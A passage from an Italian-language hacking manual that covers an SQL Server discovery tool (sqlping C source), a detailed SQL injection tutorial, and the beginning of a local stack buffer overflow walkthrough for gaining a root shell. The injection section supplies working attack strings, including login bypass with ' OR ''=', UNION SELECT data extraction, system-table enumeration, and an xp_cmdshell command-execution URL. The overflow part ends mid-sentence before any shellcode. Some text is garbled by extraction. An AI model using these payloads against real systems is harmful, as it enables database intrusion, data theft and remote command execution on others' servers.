You are on page 1of 21

Identificazione SQL Server

Nei capitoli precedenti abbiamo visto le tecniche legate ad SQL Server. Chiaramente il problema trovare i vari SQLServer presenti in rete. Per fare questo sufficiente uno speciale PING ovvero SQLPing. /* $Id: sqlping.c,v 1.1 2001/03/06 02:40:48 fygrave Exp $ */ /* ** fygrave@tigerteam.net ** http://www.relaygroup.com ** ** Unix port of m$ sql ping tool from http://www.sqlsecurity.com (reversed) ** ** ** */ #include #include #include #include #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <unistd.h> <sys/types.h> <sys/socket.h> <sys/time.h> <sys/select.h> <netinet/in.h> <arpa/inet.h> <errno.h> <signal.h> <netdb.h>

#define DEF_TIMEOUT 10 #define SQL_PORT 1434 int ssock; int usage(char *myname) { printf("Usage: %s ip_address [timeout] [num of packets]\n",myname); exit(1); } void sig_alarm(int sig) { close(ssock); printf("\nNo responce received.\n"); exit(1); } int main(int argc,char **argv) { int pcount; int npack; struct servent *sp; struct sockaddr_in host; struct hostent *hostaddr;

struct linger ling; int rsize,hsize,i,timeout; fd_set rfd,wfd; struct timeval waitsock; unsigned char received=0; char rpack[]="\x02"; unsigned char buf[1000]; int junkct=0; /* we need hostname. at least.. */ if (argc<2) { usage(argv[0]); exit(1); } /* and maybe timeout */ timeout = npack = DEF_TIMEOUT; 1;

switch (argc) { case 4: npack = atoi(argv[3]); case 3: timeout = atoi(argv[2]); break; case 2: break; default: printf("too much garbage\n"); usage(argv[0]); } if (timeout <=0) { fprintf(stderr, "Bogus timeout period [%s]\n",argv[3]); usage(argv[0]); } if (signal(SIGALRM,sig_alarm)==SIG_ERR) { perror("signal"); exit(1); } alarm(timeout); memset(&host, 0, sizeof(host)); host.sin_family = AF_INET; host.sin_port = 0; if (( hostaddr = gethostbyname(argv[1])) == NULL) { herror("can't resolve remote hostname"); exit(1); } /* here we open socket, which we will use to send packets */ if ((ssock=socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); exit(1);

} if ((bind(ssock, (struct sockaddr *)&host, sizeof(host))) < 0 ) { perror("bind"); close(ssock); exit(1); } ling.l_onoff = 0; /* dont linger */ if(setsockopt(ssock, SOL_SOCKET, SO_LINGER, (void *)&ling, sizeof(ling))==-1) { perror("setsockopt error:"); close(ssock); exit(1); } host.sin_port = htons(SQL_PORT); bcopy(hostaddr->h_addr,&host.sin_addr,hostaddr->h_length); printf("Sending %i packet(s) to %s [%s]\n(%i sec. timeout).", npack, argv[1], inet_ntoa(host.sin_addr),timeout); waitsock.tv_sec=0; waitsock.tv_usec=0; /* send packets while not receive any or interrupted */ for(;;) { FD_ZERO(&rfd); FD_ZERO(&wfd); FD_SET(ssock,&rfd); FD_SET(ssock,&wfd); if (select(ssock+1,&rfd,&wfd,(fd_set *)0,&waitsock) == -1) { if (errno==EINTR) continue; else { perror("select"); close(ssock); exit(1); } } /* if we can write */ if (FD_ISSET(ssock,&wfd) && npack) { if ((sendto(ssock,rpack,sizeof(rpack), 0,(struct sockaddr *)&host, sizeof(host))) != sizeof(rpack)) { perror("sendto"); if (errno == ENOBUFS ) { sleep(1); continue; }

else exit(1); } printf("."); npack--; fflush(stdout); } /* if something to read ... */ if (FD_ISSET(ssock,&rfd)) { if( ( rsize = recvfrom(ssock,buf,sizeof(buf),0, (struct sockaddr *)&host,&hsize)) <=0) continue; printf("\nResponse:\n"); for(i=3; i<rsize; i++) { if (buf[i] == ';') if (junkct) { printf("\n"); junkct=0; } else { if (buf[i-1] != ';') printf("\t\t=\t"); junkct=1; } else printf("%c", buf[i]); } received++;/* ok.. we got at least single packet */ } if (received) break; } close(ssock); printf("\n"); return 0; }

SQL Injection
Molte volte le tecniche comuni sono troppo conosciute per avere delle probabilit per avere successo. A questo punto gli attacchi devono trovare delle strade alternative come ad esempio quelle che riguardano tutti quei programmi che tra le loro potenzialit hanno quelle di eseguire del codice in modo arbitrario. Mi riferisco ad esempio ai sistemi di database SQL i quali spesso tra gli statement eseguibili hanno anche quelli legati allesecuzione di comandi i quali verrebbero eseguiti con gli stessi diritti relativi a quelli legati allesecuzione del programma. Prendiamo ad esempio sistemi che sono molto famosi allinterno delle crew quali quella di ZeroHack ovvero quei siti posizionati in Russia o in altri paesi in cui certi tipi di reati sessuali sono permessi o perlomeno non perseguiti a termine di legge come ad esempio i siti pedofili. Questi in genere sono corazzati in quanto notoriamente subiscono attacchi da parte degli hackers i quali non sopportano certi siti palesemente pedofili. Come dicevo questi siti hanno tutte le porte bloccate, i servizi quali FTP e TELNET bloccati e cosi via. In ogni caso questi dispongono di servizi di database destinati alla registrazione degli utenti e al loro login.

La metodologia che permette di eseguire un certo tipo di attacchi viene definita con il termine di SQL injection la quale un tecnica per eseguire lexploit delle applicazioni WEB che usano i database Nei capitoli precedenti avevamo gi affrontato il discorso parlando dei problemi legati ai database SQL ma ad ogni modo qui vedremo di approfondire largomento. Molte volte le problematiche sorgono dal fatto che gli implementatori del codice di gestione dei sistemi di database ignorano per comodit o per ignoranza i pericoli che possono sorgere dalla visualizzazione di codice inserito dentro ai campi da parte di client senza precedentemente controllarne il contenuto. Sapete tutti che ad esempio i linguaggio di script vengono interpretati a livello di server o di client per cui spesso inserendo dentro ai campi del database dei comandi del linguaggio o del sistema SQL stesso questi vengono interpretati esattamente come se di fatto fossero presenti dentro al file .ASP, .PHP o quello che . Prima di perdere tempo con un sistema eseguite una prova sostituendo un parametro con un apicetto seguito da un comando SQL :e dal carattere di REM ovvero ;-- : WHERE -Capite che se ad esempio il nome inserito dentro ad un campo richiesto in una pagina WEB fosse utilizzato allinterno di una statement SQL questo potrebbe essere visto come: SELECT * FROM TABLE WHERE Nome=NomeInserito Guardiamo un ipotetico programma in C che legge linput e crea la stringa : #include <stdio.h> void main(vid) { char buffer[128]; printf("\nInput : "); gets(buffer); printf("\n\nSelect * From Table Where Name='%s'", buffer); } Compiliamo e vedamo gli output inserendo prima un nome come dovrebbe essere messo e poi uno statement errato. F:\TempWork>cl test.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00. Copyright (C) Microsoft Corp 1984-1998. All rights reserved. test.c Microsoft (R) Incremental Linker Version 6.00.8447 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:test.exe test.obj F:\TempWork>test Input : Flavio Select * From Table Where Name='Flavio' F:\TempWork>test

Input : zzz' where ;-Select * From Table Where Name='zzz' where ;--' F:\TempWork> Vedete che inserendo il nome verrebbe : Select * From Table Where Name='Flavio' Inserendo zzz WHERE farebbe si che gli apicetti appesi dal programma in C verrebbero considerato dopo il REM. Select * From Table Where Name='zzz In un ambito reale, nel caso in cui I parametri siano pi di uno, I test devono essere eseguiti uno alla volta. Supponiamo che questa sia una linea di argomenti completamente valida : ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste e che invece questa linea ci restituisca un errore ODBC: ContactName=Maria%20Anders&CompanyName='%20OR Di conseguenza controllando con questa linea : CompanyName=' Potremmo ricevere lerrore che ci dice che avremmo dovuto specificare un valore per il ContactName. Questa linea : ContactName=BadContactName&CompanyName=' potrebbe restituirvi la stessa pagina che viene restituita nel caso precedente quando non stato specificato nessun valore per ContactName. Ad ogni modo avrebbe potuto invec4e restiurvi anche qualche cosa daltro. Questo per dire che linserimento di valori necessita successivamente di un analisi dei valori restituiti al fine di riuscire a capire quale tecnica usare e queli possono essere le potenzialit del SQL injection. Ad ogni modo la cosa importante che il database ci restituisca direttamente un messaggio di errore. Chiaramente se invece di un messaggio del database ci venisse fuori un messaggio del tipo : Avete sbagliato a inserire il nominativo Significherebbe che linput viene valutato dal programmatore e quindi passato al database solo in formato corretto. A dire il vero lottimale si ottiene quando di fatto a restituire il messaggio derrore il driver ODBC. Il pi classico dei sistemi che pretende un input da un FORM e successivamente usa i dati inseriti dentro ad uno statement del database sicuramente il classico sistema di LOGIN. Un applicazione che fa questo potrebbe usare un statement del tipo :

SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'" strAuthCheck = GetQueryResult(SQLQuery) If strAuthCheck = "" Then boolAuthenticated = False Else boolAuthenticated = True End If In pratica le due variabili strUsername e strPassword contengono il nome e la pasworde inserita dentro al form dallutente. Come potete vedere tramite un sistema di concatenazione & vengono aggiunti gli apicetti prima e dopo la stringa. In pratica lo stetement QL interrogherebbe la tebella Users per vedere se esiste un record che possiede il nome dellutente e quella password. Ora supponiamo che lutente invece della password e del nome inserisse : Login: ' OR ''=' Password: ' OR ''=' Lo statement SQL eseguito diventerebbe : SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''='' Detto a parole significherebbe : Seleziona lo Username da ers fdove lo Username uguale a NULL oppure NIENTE uguale a NIENTE e la password uguale a NULL oppure NIENTE uguale a NIENTE. Esistono dei casi in cui necessario eeguire delle funzioni di reverse engineering sulle applicazioni WEB partendo dai messaggi di errore restituiti dal database. Il primo tipo di errore che generalmente si incontra il SYNTAX ERROR. Un SYNTAX ERROR indica che la query non conforme con la struttura delle sintassi SQL del database. In quele definite come iniezioni dirette, qualsiasi argomento inseriate questa viene utilizzata allinterno della query SQL direttamente senza nessuna modifica. Proviamo ad inserire un valore legittimo terminato da uno spazio e dalla parola OR Se questa genera un errore allora la direct injection possibile. I valori diretti possono essere dei numerici usati dentro alle specifiche WHERE, come ad esempio : SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE Employee = " & intEmployeeID Oppure una keyword SQL, come ad esempio un nome di una tabella o di una colonna cme nellesempio : SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " & strColumn Tutte le altre istanze sono quelle definite con il terine di quoted injection vulnerabilities.

In una quoted injection, qualsiasi agomento che inseriate possiede un chiusura tra virgolette grazie apunto al carattere preposto e inserito dopo.dallapplicazione stessa : SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE EmployeeID = '" & strCity & "'" In ordine per eseguire il break out delle virgolette e la manipolazione della query al fine di mantenere una sintassi valida, la vostra stringa relativa alliniezione deve contenere una virgoletta singola prima di usare una parola SQL alla fine dentro ad uno statement WHERE che necessita di una virgoletta messa dopo. Come abbiamo visto prima linserimento alla fine di : ;-permette di annullare qualsiasi cosa il programma aggiunga alla fine in quanto di fatto si troverebbe dopo il segno di REM. Le query tramite SELECT sono utilizzate per recuperare I dati da un database. Molte applicazioni WEB che utilizzano contenuti dinamici di qualsiasi tipo utilizzano le informazioni restituite da una SELECT. La parte della SELECT che in grado di eseguire il filtraggio dei dati la WHERE. La strada per modificare una query mediante una WHERE quella di crearla usado una UNION SELECT. Una UNION SELECT permette query multiple SELECT che possno essere specificate allinternbo di un unico stement. Queste potrebbero sembrare a: SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1 Questa estituir un recordsets dalla prima query e insieme una seconda query. ALL necessaria per sotrarsi a certi tipi di SELECT DISTINCT e comunque non interferisce in nesun modo. E necessario esserei sicuri che la prima query, la prima che lo sviluppatore dellapplicazione WEB intende eseguire, non restituisca records. Non esiste nessuna difficolt. Vediamo il eguente codice al lavoro : SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = '" & strCity & "'" E usiamo la stringa per liniezione : ' UNION ALL SELECT OtherField FROM OtherTable WHERE ''=' Questa farebbe risultare la seguente query : SELECT FirstName, LastName, Title FROM Employees WHERE City = '' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='' Questo quello che succede: il database engine naviga sulla tabella Employees, cercando quelle righe dove la City settata a nothing. Siccome non trova righe dove City nothing, nessun records restituito. Lunico record che verr restituito sar dalla injected query. In alcuni casi, usando nothing non funzioner dato che ci sono delle entries nella tabella dove nothing viene usato, o perch specificando nothing costringeremmo lapplicazione WEB a fare qualche cosa.

Tutto quello che dovete fare specificare un valore che non esista dentro alla taballa. Ad esempio si potrebbe specificare qualche cosa fori dallordinario Quando viene atteso un numero, zero e I numeri negativi spesso funzionano bene Per un argomento di testo si potrebbe usare una stringa come "NoSuchRecord", "NotInTable", o la popolarre batitura di tasti"sjdhalksjhdlka". Alcuni server di database restituiscono delle porzioni di query contenenti lerrore di sintassi allinterno dei loro messaggi. In questo caso si potrebbe volutamente creare errori per ricevere informazioni utili sulla struttura del database. Queste sono ad esempio delle stringhe dattacco : ' BadValue' 'BadValue ' OR ' ' OR ; 9,9,9 Se gli errori di sintassi contengono delle parentesi aggiungete una parentesi al valore cattivo come parte della vostra stringa diniezione. Ad esempio : mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = '" & strCity & "')" In questo modo quando iniettate il valore ') UNION SELECT OtherField FROM OtherTable WHERE (''=', la seguente query viene inviata al server SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = '') UNION SELECT OtherField From OtherTable WHERE (''='') U altra specifica riguarda la voce LIKE. Molti statement SQL utilizzano il LIKE come ad esempio : SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName LIKE '%" & strLastNameSearch & "%'" Il segno percento (%) viene usato come valore jolly, in modo tale che la WHERE per,mette di fare si che strLastNameSearch possa apparire in qualsiasi modo dentro LastName. In ordine per terminare la query dal fatto di restituire records, il vostro bad value deve essere qualche cosa che nessuno dei valori in LastName contiene. La stringa che lapplicazione WEB appende allinput degli utenti, normalmente un segno di percento e una virgoletta, deve essere mirrorizzata nella specifica WHERE della stringa diniezione. Inoltre utilizzando nothing come cattivo valore verr creato largomento di LIKE uguale a %%, il quale risulter essere un wildcard completo , il quale restituir tutti i records. Usando la stringa "9,9,9" potreste ricevere il messaggio : Too many arguments were supplied for procedure sp_StoredProcedureName. Questo significa che I dati passati dallutente vengono utilizzati dentro ad una stored procedure.

Questo in genere quello che si pu definire con il termine di kiss of death per quanto riguarda le iniezioni SQL in quanto non esiste modo di eseguirle se i dati vengono usati direttamente dentro a una di queste. Ad ogni modo se riuscite girare intorno al syntax error, la parte di lavoro pi dura stata fatta. Scegliete un nome di tabella valida tra quelle qui elencate : MS SQL Server sysobjects syscolumns MS Access Server MSysACEs MSysObjects MSysQueries MSysRelationships Oracle SYS.USER_OBJECTS SYS.TAB SYS.USER_TABLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLUMNS SYS.USER_CONSTRAINTS SYS.USER_TRIGGERS SYS.USER_CATALOG relative al sistema di database con cui pensate di avere a che fare. Quasi sicuramente avrete a che fare con un messaggio derrore che sar relativo alle differenze di numero di campi dentro ad una query SELECT e UNION SELECT. Dovrete trovare quante colonne sono richieste per creare una query valida. Guardate ad esempio il seguente codice : SQLString = SELECT FirstName, LastName, EmployeeID FROM Employees WHERE City = '" & strCity "'" La SELECT legittima e la stringa UNION SELECT iniettata deve avere un numero uguale di colonne pari a quelle della clausola WHERE. In questo caso tutte e due ne vogliono tre. Non soltanto il numero ma anche le tipologie. Ad esempio se FirstName una stringa, allora il campo corrispondente nella vostra stringa diniezione deve essere anchesso una stringa. Alcuni servers, come ad esempio Oracle, sono molto restrittivi su questo. Altri invece sono pi elastici e permettono di usare qualsiasi tipo in quanto eseguono la conversione. Per esempio in SQL Server inserendo dei valori numerici in una varchar tutto va bene dato che il numero verrebbe convertito in stringa. Inserire del testo in una colonna smallint, in ogni caso, illegale dato che il testo non pu essere convertito in intero Dato che I tipi numerici spesso sono convertiti in stringhe facilmente, ma non viceversa, usate quando potete valori numerici. Per determinare il numero dele colonne che devono essere usate, tentate aggiungendo un valore alla volta alla clausola UNION SELECT fino a quando vi verr restituito un errore di column number mismatch. Se viene inconrato un type mismatch error cambiate la tipologia dei dati della colonna.da numerico a litteral. Alcune volte riceverete un errore di conversione non appena userete una tipologia incorretta. Altre volte invece riceverete immediatamente degli errori relativi al numero di argomenti.

Alcune volte il problema potrebbe derivare da delle clausole WHERE che vengono aggiunte dopo la vosttra stroinga delliniezione. Guardate ad esempio il codice : SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = '" & strCity & "' AND Country = 'USA'" Usando una semplice iniezione avremmo : SELECT FirstName, LastName, Title FROM Employees WHERE City ='NoSuchCity' UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = 'USA' Ila quale genererebbe una segnaazione derrore del tipo : [Microsoft][ODBC 'Country'. SQL Server Driver][SQL Server]Invalid column name

Il problema in questo caso dovuta al fatto che la query iniettata non possiede una tabella allinterno del FROM che contiene la colonna 'Country'. Ci sono due modi di risolvere il problema: Il primo appunto quello annunciato in altri capitoli e allinizio di questo ovvero di usare il terminatore ;-- nel caso in cui si stia usando SQL Server, oppure prendete il nome della tabella ce ospita la colonna e appendetela al FROM. Ora che potrebbe essere possibile avere una stringa diniezione necessario decidere quali tabelle e campi volete recuperare. Con SQL Server potete facilmente recuperare tutte le tabelle e le colonnedel database. Con Oracle e Access potreste o non potreste essere in grado di farlo in quanto questo dipende dai privilegi dellaccount mediante il quale lapplicazione WEB accede al database. In SQL Server ci sono delle tabella chiamate 'sysobjects' e 'syscolumns' che permettono di avere determinate informazioni legate alle tabelle e ai campi presenti in un database. Per ricavare la lista delle tabelle potete usare la stringa diniezione: SELECT name FROM sysobjects WHERE xtype = 'U' Questa ritorna il nome di tutte le tabelle definite dallutente (xtype = 'U'). Per avere i campi invece : SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Orders') Alcune applicazioni sono create per utilizzare soltanto un recordset alla volta allinterno del loro output. Potete manipolare la vostra stringa diniezione per avere indietro lentamente ma con sicurezza le informazioni desiderate. Questo viene eseguito aggiungendo un qualificatore alla clausola WHERE che previene dal fatto che alcune righe possano essere selezionate. Guardate ad esempio : ' UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE ''=' Chiamiamo I valori di FieldOne, FieldTwo, FieldThree come Alpha, Beta e Delta rispettivamente. La seconda stringa diniezione potrebbe essere :

' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN ('Alpha') AND FieldTwo NOT IN ('Beta') AND FieldThree NOT IN ('Delta') AND ''=' La clausola NOT IN VALUES ci rende sicuri che le informazioni che gi conoscete non vengano restituite nuovamente., in modo che la prossima riga nella tabella venga usata al loro posto. Questa dice questi valori dove "AlphaAlpha", "BetaBeta" e "DeltaDelta"... ' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN ('Alpha', 'AlphaAlpha') AND FieldTwo NOT IN ('Beta', 'BetaBeta') AND FieldThree NOT IN ('Delta', 'DeltaDelta') AND ''=' Questo previene sia il primo che il secondo sets di valori. La parola INSERT viene usata poer inserire informazioni dentro ad un database.. Luso comune allinterno di un applicazione WEB potrebbe essere legata alliserimento dei dati di qualche nuovo utente registrato. Il controllo delle vulnerabilit dello stetement INSERT avviene allo stesso modo di quello WHERE. Prendiamo ad esempio un sito in cui si permessa la registrazione di nuovi utenti. In questo sar presente un form dove potrete inserire il nome, il cognome e altri dati Dopo averli confermati potrete andare nella pagina dove questi sono visualizzati e quindi provare ad editarli. Per poter avere un vantaggio nella specifica INSERT, dovrete essere in grado di vedere le informazioni inserite Cercate di trovare il modo per riuscire a visualizzare tali informazioni. Una statement INSERT potrebbe essere : INSERT INTO TableName VALUES ('Value One', 'Value Two', 'Value Three') Potreste volere di essere in grado di manipolare gli argomenti allinterno dela specifica VALUES in modo da poter recuperare altri dati. Per fare questo usate una subselects. Il codice potrebbe essere : SQLString = "INSERT INTO TableName VALUES ('" & strValueOne & "', '" & strValueTwo & "', '" & strValueThree & "')" Per poter riempire il form in questo modo: Name: ' + (SELECT TOP 1 FieldName blah@blah.com Phone: 333-333-3333 creiamo un statement SQL come questo : INSERT INTO TableName VALUES ('' + (SELECT TOP TableName) + '', 'blah@blah.com', '333-333-3333') 1 FieldName FROM FROM TableName) + 'Email:

Quando poi andrete nella pagina delle preferenze nella quale possibile vedere I dati inseriti, potrete vedere il primo valore in FieldName dove di fatto lo user's name dovrebbe essere normalmente . Fino a quando usate TOP 1 allinterno della vostra subselect, dovreste ricevere indietro un messaggio derrore il quale vi dir che esistono troppi records restituiti dalla subselect Potreste anche navigare attraverso tutte le righe della tabella usando NOT IN () allo stesso modo in cui vferrebbe usata allinterno di un ciclo relativo ad un unico record. Come abbiamo detto prima I database possono utilizzare quelle definite con il termine di stored procedure.

Dentro a Microsoft SQL Server esistono centinaia di stored procedures. Se potete eseguire un iniezione SQL che funziona sul WEB potreste anche usare queste stored procedures per tirarci fuori alcuni effetti strani. In funzione alle permissions delle applicazioni web alcune di queste potrebbero funzionare. La prima cosa che dovete conoscere sulle iniezioni legate alle stored procedure che non vedrete loutput da pate di queste allo stesso modo in cui avrete I dati indietro mediante luso delle normali metodologie diniezione. In funzione a quello che vorreste fare potreste non avere bisogno di avere restituiti tutti I dati. Potreste trovare altri modi per ricevere I dati restituiti. Le iniezioni delle procedure pi semplice di quanto lo sia la normale iniezione. Un procedure injection potrebbe essere : simplequoted.asp?city=seattle';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c: Notate come un argomento valido fornito allinizio il quale successivamente seguito da una virgoletta. Largomento finale non possiede chiusure di virgolette. Questo soddisfa le richieste delle sintassi inerenti a molte vulnerabilit quotate. Potreste anche dover trattare con parentesi gli stements WHERE aggiuntivi. Tra le stored procedure troviamo : xp_cmdshell {'command_string'} [, no_output] master.dbo.xp_cmdshell il santo grailis delle stored procedure. Questa vuole un singolo argomento il quale un comando che deve essere eseguito. sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query' Un altra procedura master.dbo.sp_makewebtask. Come potete vedere questa usa come argomento la locazione di un file di outpute una statement SQL. sp_makewebtask prende una query e crea una pagina web contenente il suo output. Notate che potete usare un pathname unicode come locazione di output.

Un tentativo di buffer overflow eseguito localmente


Quando abbiamo parlato negli altri capitoli di buffer overflow la domanda fondamentale era di dove questo inserimento di dati oltre un certo limite poteva essere eseguito. La risposta era di fatto ovunque il sistema operativo o un software di gestione di un severs prendesse linput. Chiaramente gli scopi potevano essere diversificati a seconda del punto da cui si cercava di eseguire questa procedura. Se lattacco avveniva dallesterno questa poteva essere orientata ad ottenere una shell dentro al sistema operativo. Se invece si fosse gi allinterno, ad esempio dopo aver fatto il login come guest, lo scopo poteva essere quello di cercare di aumentare i privilegi, magari ottenendo una shell come root. In questa parte vedremo appunto questo caso. Per altre spiegazioni sulla metodologia dei buffer overflow vi rimando agli appositi capitoli che abbiamo visto precedentemente. Come ho gi detto lo scopo di questo capitolo quello d creare da dentr9o al sistema una shell con diritti di root.

Supponiamo di avere ad esempio il sistema che legge la variabile dambiente legato al settaggio del terminale. void main(int argc, char **argv, char **envp) { char s[1024]; strcpy(s,getenv("TERM")); } Questo di fatto un pezzo di codice reale e molti exploit si basano su questo. Ora supponiamo di aver definito la varabile dambiente :
$ export TERM="01234567890123456789012345678901234567890123456789012345678 90123456789012345678901234567890123456789012345678901234567890123456789012 34567890123456789012345678901234567890123456789012345678901234567890123456 78901234567890123456789012345678901234567890123456789012345678901234567890 12345678901234567890123456789012345678901234567890123456789012345678901234 56789012345678901234567890123456789012345678901234567890123456789012345678 90123456789012345678901234567890123456789012345678901234567890123456789012 34567890123456789012345678901234567890123456789012345678901234567890123456 78901234567890123456789012345678901234567890123456789012345678901234567890 12345678901234567890123456789012345678901234567890123456789012345678901234 56789012345678901234567890123456789012345678901234567890123456789012345678 90123456789012345678901234567890123456789012345678901234567890123456789012 34567890123456789012345678901234567890123456789012345678901234567890123456 78901234567890123456789012345678901234567890123456789012345678901234567890 123456789" $ ./simple Segmentation fault

Come avrete visto il risultato un errore di segmentation fault. La variabile dentro alla procedura che dovrebbe mantenere il settaggio TERM di 1024 bytes non adatto a mantenere quanto appena visto. Ora diamo un occhiata al programma che segue : $ cat simple.c #include <simple.h> #include <stdlib.h> void main(int argc,char **argv,char **envp) { char s[1024]; strcpy(s,getenv("TERM")); } $ gcc simple.c -S $ cat simple.s .file "simple.c" .version "01.01" gcc2_compiled.: .section .rodata .LC0: .string "TERM" .text .align 16 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp subl $1024,%esp pushl $.LC0

call getenv addl $4,%esp movl %eax,%eax pushl %eax leal -1024(%ebp),%eax pushl %eax call strcpy addl $8,%esp .L1: movl %ebp,%esp popl %ebp ret .size .ident main,.Lfe1-main "GCC: (GNU) 2.7.0"

.Lfe1: $

Tenete presente queste righe di codice : pushl %ebp movl %esp,%ebp subl $1024,%esp ret Le prima de linee sono chiamate "setting up a stack frame" e sono una parte standard del codice compilato mediante un compilatore C La terza linea serve ad allocare delle spazio nello stack per la variabile "s" allinterno del nostro codice C. Da questo codice possiamo farci un idea graficamente di come strutturato lo stack: +-------------+ -1024(%ebp) | 1024 bytes | +-------------+ 0(%ebp) | ebp | +-------------+ 4(%ebp) | ret addr | +-------------+ 8(%ebp) | argc | +-------------+ 12(%ebp) | argv | +-------------+ 16(%ebp) | envp | +-------------+ (s variabile)

Cosa avviene quando eseguiamo linserimento dentro alla variabile di 1024 della stringa d eviroment TERM ? Partiamo copiando a -1024(%ebp), andiamo fino -1023(%ebp) e cosi via fino a fermarci prima di 0(%ebp) in quanto dopo ci sono i dati relativi a EBP e il valore di ritorno dela chiamata ala funzione. Andando avanti a copiare andremmo a soprascrivere questi valori. Riprendiamo lesempio di prima:
$ export TERM="01234567890123456789012345678901234567890123456789012345678 90123456789012345678901234567890123456789012345678901234567890123456789012 34567890123456789012345678901234567890123456789012345678901234567890123456 78901234567890123456789012345678901234567890123456789012345678901234567890

12345678901234567890123456789012345678901234567890123456789012345678901234 56789012345678901234567890123456789012345678901234567890123456789012345678 90123456789012345678901234567890123456789012345678901234567890123456789012 34567890123456789012345678901234567890123456789012345678901234567890123456 78901234567890123456789012345678901234567890123456789012345678901234567890 12345678901234567890123456789012345678901234567890123456789012345678901234 56789012345678901234567890123456789012345678901234567890123456789012345678 90123456789012345678901234567890123456789012345678901234567890123456789012 34567890123456789012345678901234567890123456789012345678901234567890123456 78901234567890123456789012345678901234567890123456789012345678901234567890 123456789"

Usiamo GDB il debugger di Linux sul programma d prima : $ gdb simple GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.14 (i486-slackware-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)... (gdb) break main Breakpoint 1 at 0x80004e9 (gdb) run Starting program: simple Breakpoint 1, 0x80004e9 in main () (gdb) disass Dump of assembler code for function main: 0x80004e0 <main>: pushl %ebp 0x80004e1 <main+1>: movl %esp,%ebp 0x80004e3 <main+3>: subl $0x400,%esp 0x80004e9 <main+9>: pushl $0x8000548 0x80004ee <main+14>: call 0x80003d8 <getenv> 0x80004f3 <main+19>: addl $0x4,%esp 0x80004f6 <main+22>: movl %eax,%eax 0x80004f8 <main+24>: pushl %eax 0x80004f9 <main+25>: leal 0xfffffc00(%ebp),%eax 0x80004ff <main+31>: pushl %eax 0x8000500 <main+32>: call 0x80003c8 <strcpy> 0x8000505 <main+37>: addl $0x8,%esp 0x8000508 <main+40>: movl %ebp,%esp 0x800050a <main+42>: popl %ebp 0x800050b <main+43>: ret 0x800050c <main+44>: nop 0x800050d <main+45>: nop 0x800050e <main+46>: nop 0x800050f <main+47>: nop End of assembler dump. (gdb) break *0x800050b Breakpoint 2 at 0x800050b (gdb) cont Continuing. Breakpoint 2, 0x800050b in main () (gdb) stepi 0x37363534 in __fpu_control ()

(gdb) stepi Program received signal SIGSEGV, Segmentation fault. 0x37363534 in __fpu_control () (gdb) Coma mai un segmentation fault ? E semplice non esiste nessun codice allindirizzo 0x37363534: $ gdb simple GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.14 (i486-slackware-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)... (gdb) break main Breakpoint 1 at 0x80004e9 (gdb) run Starting program: simple Breakpoint 1, 0x80004e9 in main () (gdb) info registers eax 0x0 0 ecx 0xc 12 edx 0x0 0 ebx 0x0 0 esp 0xbffff800 0xbffff800 ebp 0xbffffc04 0xbffffc04 esi 0x50000000 1342177280 edi 0x50001df0 1342184944 eip 0x80004ee 0x80004ee ps 0x382 898 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 (gdb) x/5xw 0xbffffc04 0xbffffc04 <__fpu_control+3087001064>: 0xbffff8e8 0x00000001 0xbffffc18 0xbffffc14 <__fpu_control+3087001080>: 0xbffffc20 (gdb)

0x08000495

Il primo valore qui (0xbffff8e8) quello di ebp prima che questo sia inserito nello stack. Il valore successivo quello di ritorno. Il valore 0x00000001 l argc e 0xbffffc18 invece argv mentre infine 0xbffffc20 envp A questo punto se copiamo 1024 + 8 bytes andremo a soprascrivere lindirizzo di ritorno facendo in modo che questo obblighi ad eseguire un salto al nostro codice. Se settassimo TERM con: <un certo numero di indiroizzo di ritorno> nops><il codice che esegue una shelll><lun

